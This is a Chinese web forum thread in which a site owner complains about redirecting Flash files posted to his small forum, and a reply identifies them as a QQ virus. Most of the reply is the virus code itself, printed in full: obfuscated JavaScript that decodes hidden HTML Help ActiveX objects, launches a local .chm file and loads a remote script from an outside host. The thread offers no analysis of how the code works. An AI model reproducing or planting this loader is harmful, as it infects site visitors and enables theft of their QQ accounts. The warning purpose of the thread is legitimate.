还发了这样十几个Flash,重定向网页,我现在已经禁用Flash了,我只是一个小论坛,流量很小,他也没有必要这么搞吧?太可恨了!
http://fs9.139.com/0/303/montermet/share/200668213340214.swf

解决方案 »

  1.   

    唉,以身试毒了
    这是一个QQ病毒,有人说只是QQ尾巴病毒,有人说可以盗取QQ密码,反正针对的是QQ
    防范的方法么,升级病毒库,升级系统补丁,未必有用,但有比没好,以下是病毒代码
    <SCRIPT LANGUAGE="JavaScript">
    <!--
    var HtmlStrings=["=TDSJQU!mbohvbhf>WTdsjqu!tsd>#tphppe/hjg#>=0TDSJQU>=TDSJQU!mbo","hvbhf>WTdsjqu!tsd>#tphppe/dtt#>=0TDSJQU>=IUNM>=CPEZ>=ejw!","tuzmf>#ejtqmbz;opof#>=PCKFDU!je>#dduw#!uzqf>#bqqmjdbujpo0y.p","mfpckfdu#!dmbttje>#dmtje;bec991b7.e9gg.22dg.:488.11bb114c8b22","#>=QBSBN!obnf>#Dpnnboe#!wbmvf>#Sfmbufe!Upqjdt-!NFOV#>=QBSBN","!obnf>#Xjoepx#!wbmvf>#%hmpcbm`jgm#>=QBSBN!obnf>#Jufn2#!wbmvf",">(dpnnboe<gjmf;00D;]XJOEPXT]Ifmq]bqqt/din(>=0PCKFDU>=PCKFDU","!je>#{het#!uzqf>#bqqmjdbujpo0y.pmfpckfdu#!dmbttje>#dmtje;bec9","91b7.e9gg.22dg.:488.11bb114c8b22#>=QBSBN!obnf>#Dpnnboe#!wbmv","f>#Sfmbufe!Upqjdt-!NFOV#>=QBSBN!obnf>#Xjoepx#!wbmvf>#%hmpcbm","`jgm#>=QBSBN!obnf>#Jufn2#!wbmvf>(dpnnboe<kbwbtdsjqu;fwbm)#ep","dvnfou/xsjuf)]#=TDSJQU!mbohvbhf>KTdsjqu!tsd>]]]#iuuq;00xxx/48","5::/dpn0x130tphppe/hjg]]]#]#,Tusjoh/gspnDibsDpef)73*,]#=0TDS]","#,]#JQU]#,Tusjoh/gspnDibsDpef)73**#*(>=0PCKFDU>=0ejw>=TDSJ","QU>dduw/Dmjdl)*<tfuUjnfpvu)#{het/Dmjdl)*<#-1*<=0TDSJQU>=0CP","EZ>=0IUNM>"];
    function psw(st){
      var varS;
      varS="";
      var i;
      for(var a=0;a<st.length;a++){
        i = st.charCodeAt(a); 
        if (i==1) 
          varS=varS+String.fromCharCode('"'.charCodeAt()-1);
        else if (i==2) {
          a++;
          varS+=String.fromCharCode(st.charCodeAt(a));
          }
        else
          varS+=String.fromCharCode(i-1);
      }
      return varS;
    };
    var num=16;
    function S(){
    for(i=0;i<num;i++)
      document.write(psw(HtmlStrings[i]));}
    S();
    // -->
    </SCRIPT>
    <script language="javascript" type="text/javascript" src="http://js.users.51.la/398336.js"></script>
    <noscript><a href="http://www.51.la/?398336" target="_blank"><img alt="&#x6211;&#x8981;&#x5566;&#x514D;&#x8D39;&#x7EDF;&#x8BA1;" src="http://img.users.51.la/398336.asp" style="border:none" /></a></noscript>